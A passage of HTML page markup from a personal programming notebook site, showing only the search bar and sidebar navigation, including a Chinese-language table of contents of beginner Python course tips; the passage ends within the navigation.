for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Course Python程序设计\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Course Python程序设计\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    先本地测试能通过再提交\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    全角的符号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#input\" class=\"md-nav__link\">\n    input只读取输入的一行\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"input只读取输入的一行\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#map\" class=\"md-nav__link\">\n    扩展一下：你可以使用map函数来批量调用函数\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    不要输出任何多余的提示信息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#input_1\" class=\"md-nav__link\">\n    input函数返回的是字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#int-c\" class=\"md-nav__link\">\n    注意类型转换的int是要调用的 和C语言不一样\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    注意括号的匹配\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    方法是需要调用的\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    注意缩进 不能有多余空格\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#print\" class=\"md-nav__link\">\n    print的用法\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"print的用法\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#f-string\" class=\"md-nav__link\">\n    你还可以使用f-string\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    注意引号括号的匹配，尤其是变得复杂的时候\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#forifelse\" class=\"md-nav__link\">\n    for,if,else右边都要有分号，每个分号的下一行增加缩进\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    继续强调 不要出现中文括号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#return-0\" class=\"md-nav__link\">\n    不要出现return 0\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    看清题目\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"看清题目\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#int\" class=\"md-nav__link\">\n    输入实数别用int()\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    看清题目输入的格式\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    看清题目的允许范围\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    复制粘贴题目的文本就行 不要自己敲\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    不要追求一行写完\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    乘法要写乘号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#int_1\" class=\"md-nav__link\">\n    int用作进制转换 参数是 字符串,整数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#join\" class=\"md-nav__link\">\n    字符串的join 需要每个元素都是字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    注意边缘情况\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    学会自己造数据\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    注意输出格式对顺序的要求\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_18\" class=\"md-nav__link\">\n    如何判断一个字符是整数？\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_19\" class=\"md-nav__link\">\n    字符串比较大小是个坑\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sortsorted\" class=\"md-nav__link\">\n    区分.sort()和sorted\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_20\" class=\"md-nav__link\">\n    格式化字符串们\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"格式化字符串们\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#52f\" class=\"md-nav__link\">\n    \"%5.2f\"是啥意思\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_21\" class=\"md-nav__link\">\n    那我要居中怎么办\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_22\" class=\"md-nav__link\">\n    格式化字符串想输出几个变量就要写几个\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#thonny\" class=\"md-nav__link\">\n    Thonny的用法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_23\" class=\"md-nav__link\">\n    初始化能在循环体内吗？\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_24\" class=\"md-nav__link\">\n    学会拆分问题 大而化小\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#andor\" class=\"md-nav__link\">\n    混在一起的and和or\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"混在一起的and和or\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#a-and-b\" class=\"md-nav__link\">\n    a and b\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#a-or-b\" class=\"md-nav__link\">\n    a or b\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_25\" class=\"md-nav__link\">\n    哪些东西是假的？\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_26\" class=\"md-nav__link\">\n    行末到底要不要输出空格\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_27\" class=\"md-nav__link\">\n    怎样做到末尾不输出空格\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"怎样做到末尾不输出空格\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1resultprintresult\" class=\"md-nav__link\">\n    方案1：把要输出的东西暂时存到数组result里，最后print(*result)\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    方案2：区分首元素和其后的元素\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#printn\" class=\"md-nav__link\">\n    如何正确地换行 print('\\n')是不行的\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_28\" class=\"md-nav__link\">\n    循环初始化 放在正确的位置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_29\" class=\"md-nav__link\">\n    填空题别出现中文引号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_30\" class=\"md-nav__link\">\n    怎么正确地判断素数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_31\" class=\"md-nav__link\">\n    运行超时怎么破？\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"运行超时怎么破？\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_32\" class=\"md-nav__link\">\n    记住判断素数可以开根号啊！\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_33\" class=\"md-nav__link\">\n    题目给的上界一定会有测试点\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_34\" class=\"md-nav__link\">\n    想想怎么简化计算\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-homework-review\" class=\"md-nav__link\">\n    Python Homework Review\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      